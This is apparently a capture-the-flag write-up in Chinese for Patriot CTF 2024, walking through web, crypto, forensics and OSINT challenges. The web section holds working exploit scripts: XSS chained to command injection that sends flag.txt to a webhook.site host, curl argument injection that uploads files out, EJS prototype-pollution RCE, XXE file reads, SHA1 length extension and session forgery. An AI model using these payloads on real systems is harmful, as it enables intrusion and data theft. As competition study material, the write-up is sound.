Patriot CTF 2024 Write Up by Whale120

Before all

這是我解的部分的writeup,因為本次解題量挺大,隊伍的可能要很晚出=w=
Team: ICEDTEA
Rank: 33/1360
跟冰茶一起打的,Web主要由我處理,整體而言題目不錯,不會難但有趣(?)
第一次打Online CTF有cert >w<b
已經開始期待下次大家一起打CTFㄌ,希望成績越來越好
pctf-cert

Write Up

Web

Open Seasame

  • Solver: Whale120(wha13)

一個bot介面(對外開在13336)跟一個web介面(通靈出對外開在13337)
bot介面長這樣,只能去造訪local 1337底下的路徑(會帶著admin的httponly cookie)
image
app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, request
import uuid, subprocess

app = Flask(__name__)
SECRET = open("secret.txt", "r").read()
stats = []

@app.route('/', methods=['GET'])
def main():
return 'Hello, World!'

@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
for stat in stats:
if stat['id'] == id:
return str(stat['data'])

return '{"error": "Not found"}'

@app.route('/api/stats', methods=['POST'])
def add_stats():
try:
username = request.json['username']
high_score = int(request.json['high_score'])
except:
return '{"error": "Invalid request"}'

id = str(uuid.uuid4())

stats.append({
'id': id,
'data': [username, high_score]
})
return '{"success": "Added", "id": "'+id+'"}'

@app.route('/api/cal', methods=['GET'])
def get_cal():
cookie = request.cookies.get('secret')

if cookie == None:
return '{"error": "Unauthorized"}'

if cookie != SECRET:
return '{"error": "Unauthorized"}'

modifier = request.args.get('modifier','')

return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'


if __name__ == "__main__":
app.run(host='0.0.0.0', port=1337, threaded=True)

觀察兩個洞:
XSS:去post/api/stats可以插資料,拿到的uuid可以去/api/stats/<uuid>請求獲得資料,然後資料直接輸出
Command Injection:/api/cal那邊,裸裸的subprocess.getoutput那段
Admin bot有個不能輸入cal這三個字母和不能輸入%的限制。
攻擊練:透過XSS admin帶著Command Injection Payload去fetch /api/cal

exp.py

1
2
3
4
5
6
7
import requests as req
import base64 as b64
payload=b'fetch(\'http://127.0.0.1:1337/api/cal?modifier=2024 ; curl https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731 --data "$(cat flag.txt)"\')'
payload=f"<script>eval(atob('{b64.b64encode(payload).decode()}'))</script>"
data={'username':payload, 'high_score':"1337"}
web=req.post('http://chal.competitivecyber.club:13337/api/stats', json=data)
print(web.text)

Flag: CACI{1_l0v3_c0mm4nd_1nj3ct10n}

Impersonate

  • Solver: Whale120(wha13)
    app.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    #!/usr/bin/env python3
    from flask import Flask, request, render_template, jsonify, abort, redirect, session
    import uuid
    import os
    from datetime import datetime, timedelta
    import hashlib
    app = Flask(__name__)
    server_start_time = datetime.now()
    server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
    secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
    app.secret_key = secure_key
    app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
    flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
    secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
    def is_safe_username(username):
    """Check if the username is alphanumeric and less than 20 characters."""
    return username.isalnum() and len(username) < 20
    @app.route('/', methods=['GET', 'POST'])
    def main():
    """Handle the main page where the user submits their username."""
    if request.method == 'GET':
    return render_template('index.html')
    elif request.method == 'POST':
    username = request.values['username']
    password = request.values['password']
    if not is_safe_username(username):
    return render_template('index.html', error='Invalid username')
    if not password:
    return render_template('index.html', error='Invalid password')
    if username.lower().startswith('admin'):
    return render_template('index.html', error='Don\'t try to impersonate administrator!')
    if not username or not password:
    return render_template('index.html', error='Invalid username or password')
    uid = uuid.uuid5(secret, username)
    session['username'] = username
    session['uid'] = str(uid)
    return redirect(f'/user/{uid}')
    @app.route('/user/<uid>')
    def user_page(uid):
    """Display the user's session page based on their UUID."""
    try:
    uid = uuid.UUID(uid)
    except ValueError:
    abort(404)
    session['is_admin'] = False
    return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
    @app.route('/admin')
    def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
    return flag
    else:
    abort(401)
    @app.route('/status')
    def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content
    if __name__ == '__main__':
    app.run("0.0.0.0", port=9999)

    可以直接造訪/status獲得server time,然後用flask-unsign簽回去就好
    1
    flask-unsign --sign --cookie "{'is_admin': True, 'uid': '31333337-1337-1337-1337-133713371337', 'username': 'administrator'}" --secret 'af9e55089a3a20273e06f6443ba96ebe4f2c62a827d895feb16487cfca62b2d7'

KIRAN SAU PROBLEM

  • Solver: Whale120(wha13)

一個Apache上面的php題目:
Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
FROM php:7.2-fpm

RUN apt update -y

# Install dependencies
RUN apt -y install supervisor \
apache2 \
libyaml-dev \
cron

# Install PHP extensions
RUN pecl install yaml && echo "extension=yaml.so" > /usr/local/etc/php/conf.d/ext-yaml.ini && docker-php-ext-enable yaml

# Copy .htaccess file
COPY conf-files/.htaccess /var/www/html/

# create .htpasswd file
RUN htpasswd -bc /etc/apache2/.htpasswd admin TEST_PASSWORD

# Copy files
COPY php-files/challenge.php /var/www/html/
COPY php-files/index.php /var/www/html/

# Copy apache configuration
COPY conf-files/000-default.conf /etc/apache2/sites-available/

# Copy supervisor configuration
COPY conf-files/php-fpm.conf /etc/supervisor/conf.d/
COPY conf-files/apache.conf /etc/supervisor/conf.d/
COPY conf-files/cron.conf /etc/supervisor/conf.d/

# Enable apache modules
RUN a2enmod rewrite \
proxy \
proxy_fcgi \
auth_basic

# Remove default index.html
RUN rm /var/www/html/index.html

# Remove all files except index.php, challenge.php and .htaccess
RUN \
echo "find /var/www/html ! \( -iname 'index.php' -o -iname 'challenge.php' -o -iname '.htaccess' \) -type f -exec rm -f {} + " > /root/script.sh \
&& echo "echo PCTF{TEST_FLAG} > /get-here/flag.txt" >> /root/script.sh \
&& chmod +x /root/script.sh

# Add crontab file in the cron directory
# Run cron job every 30 seconds
COPY conf-files/crontab /etc/crontab

# Give execution rights on the cron job
RUN chmod 0644 /etc/crontab
RUN crontab /etc/crontab


# Flag location
RUN mkdir /get-here \
&& echo "PCTF{TEST_FLAG}" > /get-here/flag.txt

# Change ownership
RUN chown -R www-data:www-data /var/www/html \
&& chown -R www-data:www-data /get-here

# Expose port 80
EXPOSE 80

# Start supervisord
CMD ["/usr/bin/supervisord", "-n"]

challenge.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<html>
<head>
<title>Kiran Sau Problem</title>
</head>
</html>

<?php

$input = $_GET['country'];
$url = $_GET['url'];

$countryList = array(
"AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa", "AD" => "Andorra", "AO" => "Angola", "AI" => "Anguilla", "AQ" => "Antarctica", "AG" => "Antigua and Barbuda", "AR" => "Argentina", "AM" => "Armenia", "AW" => "Aruba", "AU" => "Australia", "AT" => "Austria", "AZ" => "Azerbaijan", "BS" => "Bahamas", "BH" => "Bahrain", "BD" => "Bangladesh", "BB" => "Barbados", "BY" => "Belarus", "BE" => "Belgium", "BZ" => "Belize", "BJ" => "Benin", "BM" => "Bermuda", "BT" => "Bhutan", "BO" => "Bolivia", "BA" => "Bosnia and Herzegovina", "BW" => "Botswana", "BV" => "Bouvet Island", "BR" => "Brazil", "BQ" => "British Antarctic Territory", "IO" => "British Indian Ocean Territory", "VG" => "British Virgin Islands", "BN" => "Brunei", "BG" => "Bulgaria", "BF" => "Burkina Faso", "BI" => "Burundi", "KH" => "Cambodia", "CM" => "Cameroon", "CA" => "Canada", "CT" => "Canton and Enderbury Islands", "CV" => "Cape Verde", "KY" => "Cayman Islands", "CF" => "Central African Republic", "TD" => "Chad", "CL" => "Chile", "CN" => "China", "CX" => "Christmas Island", "CC" => "Cocos [Keeling] Islands", "CO" => "Colombia", "KM" => "Comoros", "CG" => "Congo - Brazzaville", "CD" => "Congo - Kinshasa", "CK" => "Cook Islands", "CR" => "Costa Rica", "HR" => "Croatia", "CU" => "Cuba", "CY" => "Cyprus", "CZ" => "Czech Republic", "CI" => "Côte d’Ivoire", "DK" => "Denmark", "DJ" => "Djibouti", "DM" => "Dominica", "DO" => "Dominican Republic", "NQ" => "Dronning Maud Land", "DD" => "East Germany", "EC" => "Ecuador", "EG" => "Egypt", "SV" => "El Salvador", "GQ" => "Equatorial Guinea", "ER" => "Eritrea", "EE" => "Estonia", "ET" => "Ethiopia", "FK" => "Falkland Islands", "FO" => "Faroe Islands", "FJ" => "Fiji", "FI" => "Finland", "FR" => "France", "GF" => "French Guiana", "PF" => "French Polynesia", "TF" => "French Southern Territories", "FQ" => "French Southern and Antarctic Territories", "GA" => "Gabon", "GM" => "Gambia", "GE" => "Georgia", "DE" => "Germany", "GH" => "Ghana", "GI" => "Gibraltar", "GR" => "Greece", "GL" => "Greenland", "GD" => "Grenada", "GP" => "Guadeloupe", "GU" => "Guam", "GT" => "Guatemala", "GG" => "Guernsey", "GN" => "Guinea", "GW" => "Guinea-Bissau", "GY" => "Guyana", "HT" => "Haiti", "HM" => "Heard Island and McDonald Islands", "HN" => "Honduras", "HK" => "Hong Kong SAR China", "HU" => "Hungary", "IS" => "Iceland", "IN" => "India", "ID" => "Indonesia", "IR" => "Iran", "IQ" => "Iraq", "IE" => "Ireland", "IM" => "Isle of Man", "IL" => "Israel", "IT" => "Italy", "JM" => "Jamaica", "JP" => "Japan", "JE" => "Jersey", "JT" => "Johnston Island", "JO" => "Jordan", "KZ" => "Kazakhstan", "KE" => "Kenya", "KI" => "Kiribati", "KW" => "Kuwait", "KG" => "Kyrgyzstan", "LA" => "Laos", "LV" => "Latvia", "LB" => "Lebanon", "LS" => "Lesotho", "LR" => "Liberia", "LY" => "Libya", "LI" => "Liechtenstein", "LT" => "Lithuania", "LU" => "Luxembourg", "MO" => "Macau SAR China", "MK" => "Macedonia", "MG" => "Madagascar", "MW" => "Malawi", "MY" => "Malaysia", "MV" => "Maldives", "ML" => "Mali", "MT" => "Malta", "MH" => "Marshall Islands", "MQ" => "Martinique", "MR" => "Mauritania", "MU" => "Mauritius", "YT" => "Mayotte", "FX" => "Metropolitan France", "MX" => "Mexico", "FM" => "Micronesia", "MI" => "Midway Islands", "MD" => "Moldova", "MC" => "Monaco", "MN" => "Mongolia", "ME" => "Montenegro", "MS" => "Montserrat", "MA" => "Morocco", "MZ" => "Mozambique", "MM" => "Myanmar [Burma]", "NA" => "Namibia", "NR" => "Nauru", "NP" => "Nepal", "NL" => "Netherlands", "AN" => "Netherlands Antilles", "NT" => "Neutral Zone", "NC" => "New Caledonia", "NZ" => "New Zealand", "NI" => "Nicaragua", "NE" => "Niger", "NG" => "Nigeria", "NU" => "Niue", "NF" => "Norfolk Island", "KP" => "North Korea", "VD" => "North Vietnam", "MP" => "Northern Mariana Islands", "NO" => "Norway", "OM" => "Oman", "PC" => "Pacific Islands Trust Territory", "PK" => "Pakistan", "PW" => "Palau", "PS" => "Palestinian Territories", "PA" => "Panama", "PZ" => "Panama Canal Zone", "PG" => "Papua New Guinea", "PY" => "Paraguay", "YD" => "People's Democratic Republic of Yemen", "PE" => "Peru", "PH" => "Philippines", "PN" => "Pitcairn Islands", "PL" => "Poland", "PT" => "Portugal", "PR" => "Puerto Rico", "QA" => "Qatar", "RO" => "Romania", "RU" => "Russia", "RW" => "Rwanda", "RE" => "Réunion", "BL" => "Saint Barthélemy", "SH" => "Saint Helena", "KN" => "Saint Kitts and Nevis", "LC" => "Saint Lucia", "MF" => "Saint Martin", "PM" => "Saint Pierre and Miquelon", "VC" => "Saint Vincent and the Grenadines", "WS" => "Samoa", "SM" => "San Marino", "SA" => "Saudi Arabia", "SN" => "Senegal", "RS" => "Serbia", "CS" => "Serbia and Montenegro", "SC" => "Seychelles", "SL" => "Sierra Leone", "SG" => "Singapore", "SK" => "Slovakia", "SI" => "Slovenia", "SB" => "Solomon Islands", "SO" => "Somalia", "ZA" => "South Africa", "GS" => "South Georgia and the South Sandwich Islands", "KR" => "South Korea", "ES" => "Spain", "LK" => "Sri Lanka", "SD" => "Sudan", "SR" => "Suriname", "SJ" => "Svalbard and Jan Mayen", "SZ" => "Swaziland", "SE" => "Sweden", "CH" => "Switzerland", "SY" => "Syria", "ST" => "São Tomé and Príncipe", "TW" => "Taiwan", "TJ" => "Tajikistan", "TZ" => "Tanzania", "TH" => "Thailand", "TL" => "Timor-Leste", "TG" => "Togo", "TK" => "Tokelau", "TO" => "Tonga", "TT" => "Trinidad and Tobago", "TN" => "Tunisia", "TR" => "Turkey", "TM" => "Turkmenistan", "TC" => "Turks and Caicos Islands", "TV" => "Tuvalu", "UM" => "U.S. Minor Outlying Islands", "PU" => "U.S. Miscellaneous Pacific Islands", "VI" => "U.S. Virgin Islands", "UG" => "Uganda", "UA" => "Ukraine", "SU" => "Union of Soviet Socialist Republics", "AE" => "United Arab Emirates", "GB" => "United Kingdom", "US" => "United States", "ZZ" => "Unknown or Invalid Region", "UY" => "Uruguay", "UZ" => "Uzbekistan", "VU" => "Vanuatu", "VA" => "Vatican City", "VE" => "Venezuela", "VN" => "Vietnam", "WK" => "Wake Island", "WF" => "Wallis and Futuna", "EH" => "Western Sahara", "YE" => "Yemen", "ZM" => "Zambia", "ZW" => "Zimbabwe", "AX" => "Åland Islands", );
$countryList = array_flip($countryList);

$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

if (empty($yaml)) die("No YAML data provided");


$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];

if (!$parsed_arr) echo "Error parsing YAML".'<br>';

if (!$input) die("No country code provided");

if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}

function run($cc, $url) {

echo "Country code: ".$cc."<br>";
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
return;
}

.htaccess

1
2
3
4
5
6
<Files "challenge.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

疑,那Apache版本呢?
請求看看/whale
image
Apache 2.4.59!!!
看到這個馬上聯想到 Orange大大的研究
簡單來說,我可以使用一個url encode後的問號去做Confusion Attack(.htaccess甚至長一模一樣)
image
繞過http authㄌ
接下來重點看看challenge.php裡面的這一段:

1
2
3
4
5
6
7
8
function run($cc, $url) {

echo "Country code: ".$cc."<br>";
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
return;
}

可以看出雖然過濾了可以造成command injection的字元,但畢竟這題只是要讀檔,簡單利用一下Argument Injection就好了,像這樣:

1
curl -F FLAG=@/get-here/flag.txt http://whale.meow

最後,再看看這個Function的調用條件,必須滿足讀進來的第一個參數cc是空,於是追溯到這段看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

if (empty($yaml)) die("No YAML data provided");


$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];

if (!$parsed_arr) echo "Error parsing YAML".'<br>';

if (!$input) die("No country code provided");

if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}

可以發現是yaml讀國碼,使用The Norway Problem(link)的作法就能讓他變成一個不存在的變數,進而跑到run function那邊做Argument Injection

Final Payload:

1
http://chal.competitivecyber.club:8090/challenge.php%3Fwhale.php?url=-F%20FLAG=@/get-here/flag.txt%20https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731&country=Norway

P.S.因為沒過濾輸入,所以country也可以插入像是meow%0d$0a- country_code: False之類的進行Yaml注入,不一定要做Norway Trick

Flag: PCTF{Kiran_SAU_Manifested}

dogdays

要讀取到/flag,切入重點,打view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}else{
echo "<!DOCTYPE html><html><body>";
echo "<h1>Invalid hash provided!</h1>";
echo '<img src="assets/BAD.gif"/>';
echo "</body></html>";
}
// The flag is at /flag, that's all you're getting!
?>

可以看到赤裸裸的LFI,但是他會用sha1去checksum,有撒鹽,所以需要做長度擴展攻擊。
Solve Script
sha1使用的是:https://github.com/William957-web/length-extension-attack/blob/main/length_extension_sha1/sha1.py

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import hexdump
import struct
# https://github.com/ajalt/python-sha1
import sha1

import requests as req
import urllib.parse

baseurl='http://chal.competitivecyber.club:7777/view.php?'
INJECT_STRING = b"/../../../../../../../flag"

class Sha1Padding:
def __init__(self):
# Length in bytes of all data that has been processed so far
self._message_byte_length = 0

def pad(self, message):
"""Return finalized digest variables for the data processed so far."""
# Pre-processing:
message_byte_length = self._message_byte_length + len(message)

# append the bit '1' to the message
message += b'\x80'

# append 0 <= k < 512 bits '0', so that the resulting message length (in bytes)
# is congruent to 56 (mod 64)
message += b'\x00' * ((56 - (message_byte_length + 1) % 64) % 64)

# append length of message (before pre-processing), in bits, as 64-bit big-endian integer
message_bit_length = message_byte_length * 8
message += struct.pack(b'>Q', message_bit_length)

return message

def attack(originData, originHash, keyLen):

""" Generate attackData """
# Padding - (key + originData + padding) + attackData
pad = Sha1Padding()

tmpStr = ('A' * keyLen).encode()
attackData = pad.pad(tmpStr + originData)[keyLen:] + INJECT_STRING
#print(hexdump.hexdump(attackData))

""" Generate attackHash """
sha = sha1.Sha1Hash()
sha.update(INJECT_STRING, originHash.encode())
attackHash = sha.hexdigest()

return attackData, attackHash

for i in range(1, 100):
pic, hash=attack(b'1.png', '06dadc9db741e1c2a91f266203f01b9224b5facf', i)
web=req.get(baseurl+urllib.parse.urlencode({'pic':pic, 'hash':hash}))
if 'Here\'s your picture:' in web.text:
print(web.text)
break

image

Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Blob

index.js

1
2
3
4
require("express")()
.set("view engine", "ejs")
.use((req, res) => res.render("index", { blob: "blob", ...req.query }))
.listen(3000);

標準的ejs傳入參數題,Github上面蠻多issue可以參考:ejs issue(link)
Payload:

1
settings[view options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("cat flag*").toString()&settings[view options][client]=1

Flag: CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}

DOM DOM

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python

__author__ = "kiransau"
__title__ = "DOMDOM"

import os
import json
import urllib
import random
import requests
from PIL import Image
from importlib.metadata import version
from PIL.ExifTags import TAGS
from flask import Flask, flash, request, redirect, url_for, render_template
from werkzeug.utils import secure_filename
from lxml import etree

UPLOAD_FOLDER = '/app/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg'}

app = Flask(__name__,
static_url_path='/static',
template_folder='templates')
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
filename = ''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('No selected file')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename) + str(random.randrange(10000, 90000))
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

return render_template('upload.html', filename=filename)

@app.route('/check', methods=['POST', 'GET'])
def check():
r = requests.Session()
allow_ip = request.headers['Host']
if request.method == 'POST':
url = request.form['url']
url_parsed = urllib.parse.urlparse(url).netloc
if allow_ip == url_parsed:
get_content = r.get(url = url)
else:
return "Cannot request for that url"
try:
parsed_json = json.loads(get_content.content.decode())["Comment"]
parser = etree.XMLParser(no_network=False, resolve_entities=True)
get_doc = etree.fromstring(str(parsed_json), parser)
print(get_doc, "ho")
result = etree.tostring(get_doc)
except:
return "Something wrong!!"
if result: return result
else: return "Empty head"
else:
return render_template('check.html')

@app.route('/meta')
def meta():
iname = request.args.get("image", type=str)
try:
name = UPLOAD_FOLDER + '/' + iname
try:
image = Image.open(name)
image_dict = {
"Filename": image.filename,
"Image Size": image.size,
"Comment": image.info.get('Comment')
}
return image_dict
except FileNotFoundError:
return "File not found."
except:
return render_template('meta.html')


if __name__ == '__main__':
app.secret_key = "734df63066793dfe6f7e417d4d80f453"
app.run(debug=False, host='0.0.0.0', port=9090)

幾個觀察,/check路徑會去把json資料parse出來之後拿去lxml的etree讀資料,最後把結果輸出,赤裸裸的XXE。
然後可以上傳圖片,去/meta路徑正好就可以拿到json格式的圖片資料
最後寫腳本改一下圖片info即可。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests as req
from PIL import Image
from PIL.PngImagePlugin import PngInfo

payload="""<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/flag.txt" >]>
<whale>
&xxe;
</whale>"""

image = Image.open("wifu.png")
metadata = PngInfo()
metadata.add_text("Comment", payload)
image.save("wifu.png", pnginfo=metadata)

f=open('wifu.png', 'rb')
files={'file':f}
url_base='http://chal.competitivecyber.club:9090/'
web=req.post(url_base, files=files)
file_name=web.text[web.text.index('Successfully uploaded: ')+23:web.text.index('Successfully uploaded: ')+36]
data={'url':'http://chal.competitivecyber.club:9090/meta?image='+file_name}
web=req.post(url_base+'check', data=data)
print(web.text)

p.s.附上wifu.png

image

Flag: PCTF{Y0u_D00m3D_U5_Man_So_SAD}

Crypto

idk cipher

  • Solver: Whale120(wha13)

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

import base64
"""
********************************************
* *
* *
********************************************
"""
# WARNING: This is a secret key. Do not expose it.
srt_key = 'secretkey' # // TODO: change the placeholder
usr_input = input("\t:"*10)
if len(usr_input) <= 1:
raise ValueError("PT must be greater than 1")
if len(usr_input) % 2 != 0:
raise ValueError("PT can only be an even number")
if not usr_input.isalnum():
raise ValueError("Only alphabets and numbers supported")
# WARNING: Reversing input might expose sensitive information.
rsv_input = usr_input[::-1]
output_arr = []
for i in range(int(len(usr_input) / 2)):
c1 = ord(usr_input[i])
c2 = ord(rsv_input[i])
enc_p1 = chr(c1 ^ ord(srt_key[i % len(srt_key)]))
enc_p2 = chr(c2 ^ ord(srt_key[i % len(srt_key)]))
output_arr.append(enc_p1)
output_arr.append(enc_p2)
# WARNING: Encoded text should not be decoded without proper authorization.
encoded_val = ''.join(output_arr)
b64_enc_val = base64.b64encode(encoded_val.encode())
R = "R"*20
E = "E"*5
EXCLAMATION = "!"*5
print(f"ULTRA SUPE{R} SECUR{E} Encoded Cipher Text{EXCLAMATION}:", b64_enc_val.decode())

ciphertext:QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=
然後檔案裡的srt_key是真的key,直接反著做

1
2
3
4
5
6
7
8
9
10
11
12
import base64
from pwn import *
secret=b'QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I='
flag=xor(base64.b64decode(secret), b'sseeccrreettkkeeyy').decode()
new_flag=''
for i in range(0, 32, 2):
new_flag+=flag[i]

for i in range(31, 0, -2):
new_flag+=flag[i]

print(new_flag)

Flag: pctf{234c81cf3cd2a50d91d5cc1a1429855f}

OSINT

Night School

Flag: pctf{Communitas}

Forensics

Bad Blood

拿到一個windows log file,要做一系列問答,基本上就是問腳本類型/protocol跟C2網路,但從頭到尾只注意到這個REPO:https://github.com/IAMinZoho/OFFSEC-PowerShell/,關於腳本的問題就直接把上面的東西list出來爆破就有。
Protocol:猜到Winrm, C2架構一樣爆…
image
壯觀的爆破場面

Flag: pctf{3v3nt_l0gs_reve4l_al1_a981eb}

A Dire Situation

會拿到一個budget.wim的檔案,用7z把他拆開會拿到一個budget跟一個budget:streamingjpegjfif的檔案
拿streamingjpegjfif上網查一下會發現一種叫做mjpeg的檔案類型,簡單來說就是類似影片,把jfif stream起來
利用VCL Media Player跑起來發現畫面很短,拚手速:

image

Flag: pctf{alternate_d4t4_str3aming_&_chill}